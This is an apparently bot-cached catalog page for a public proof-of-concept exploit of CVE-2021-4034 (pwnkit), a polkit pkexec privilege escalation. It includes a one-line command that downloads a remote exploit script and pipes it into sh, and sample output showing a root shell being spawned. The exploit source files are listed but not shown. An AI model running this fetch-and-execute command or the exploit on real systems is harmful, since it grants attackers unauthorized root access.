CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/dzonerzy/poc-cve-2021-4034

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。

Description

PoC for CVE-2021-4034 dubbed pwnkit

Readme

# poc-cve-2021-4034
PoC for CVE-2021-4034 dubbed pwnkit

[![Release](https://github.com/dzonerzy/poc-cve-2021-4034/actions/workflows/autorelease.yml/badge.svg)](https://github.com/dzonerzy/poc-cve-2021-4034/actions/workflows/autorelease.yml)


## How to use

just run make `make` then check release folder or if you prefer the one liner

`sh -c "$(curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh)"`

## Enjoy

```shell
dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpwn$ ./exploit
Spawning root shell!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1000(dzonerzy)
```

File Snapshot


 [4.0K]  /data/pocs/18ddcc886147176674928761a00f5cefcddcb394
├── [2.8K]  exploit.go
├── [1.1K]  LICENSE
├── [ 502]  Makefile
├── [4.0K]  payload
│   └── [2.2K]  payload.go
└── [ 749]  README.md

1 directory, 5 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!